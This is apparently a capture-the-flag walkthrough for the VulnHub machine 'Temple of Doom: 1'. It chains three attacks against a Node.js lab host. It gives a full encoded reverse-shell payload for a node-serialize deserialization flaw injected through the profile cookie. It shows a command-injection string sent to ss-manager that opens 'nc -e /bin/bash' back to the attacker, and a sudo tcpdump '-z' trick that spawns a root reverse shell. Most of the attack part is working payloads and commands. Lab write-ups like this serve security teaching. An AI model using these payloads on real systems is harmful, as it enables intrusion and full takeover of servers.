VulnHub — Temple-Of -Doom

Temple of Doom: 1

Nmap

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
| 2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
| 256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_ 256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open http Node.js Express framework
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn’t have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:D2:6A:4F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2–4.9
Uptime guess: 25.554 days (since Sat Sep 21 21:04:32 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.29 ms 10.0.0.23

Here we found ssh and port 666 to be open so let’s now visit port 666 and see what we find

Here we found a page saying the site is under construction , come back later , so when we refresh the page we found a error of node.js

And when we search for the error “at Object.exports.unserialize” we found a exploit which was a RCE

Exploiting Node.js deserialization bug for Remote Code Execution

Here we can see that if we intercept the request in burp suit we found that cookie is using profile parameter in it

which is a encoded value so what if we decode it

Here we redirect the hash to decoder and let’s find

• Decoded the hash to url first
• Then decoded the hash to base64 ,

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:Friday, 13 Oct 2018 00:00:00 GMT”}
Where we found that the string was missing a (“) before Friday let’s change it and then again encode to base64 and see what it does
{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:"Friday, 13 Oct 2018 00:00:00 GMT”}
Here we had corrected the the value with (") before friday and let's encode it to base64 again and place it to the profile parameter and then see what it does 

Here we placed the base64 value and then see what we get

And we get the output as hello admin

So we had corrected the value and now place our reverse shell in place of the encoded value , for this we are going to use nodejsshell.py , And use the following command as follows

python nodejsshell.py 10.0.0.1 2031
LHOST= 10.0.0.1 ---> your ip 
LPORT= 2031 ------> your port 

And you will get the output

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Now you just need to add the following in the output

In the starting {"rce":"_$$ND_FUNC$$_function (){ 
At the end }()"}

So after adding this to the nodejsshell.py output we will see the output as

{“rce”:”_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,50,48,51,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()”}

So now we are going encode it to base64

And now we are going to place this base64 value to our profile parameter

So now we will execute this this and open the nc listner at our local system now let’s see are we getting reverse shell

BINGO !! we got the shell now let’s enumerate for user privilege

Now when we look for running process we got to see that fireman is running ssh-manager and we can connect to ssh-manager and get the fireman shell using below commands

Here we can see that ss-manager is opening a port at local host 8839 where we can connect and can execute our command so that we can get a reverse shell of fireman user

nc -u 127.0.0.1 8839

And now execute our reverse shell command

add: {“server_port”:8003, “password”:”test”, “method”:”|| nc 10.0.0.1 123 -e /bin/bash||”}

And we got reverse shell of fireman user

Here we got our fireman shell and now when we check for sudo rights we get

So we can escalate privilege using /usr/sbin/tcpdump

Follow the steps to get root user

• echo $’id\nnc -e /bin/bash 10.0.0.1 445' > /tmp/exp
• chmod +x /tmp/exp
• sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exp -Z root

And we got root reverse shell at the nc listener

Here we got ROOT user shell

………………………COWABUNGA………………………………………..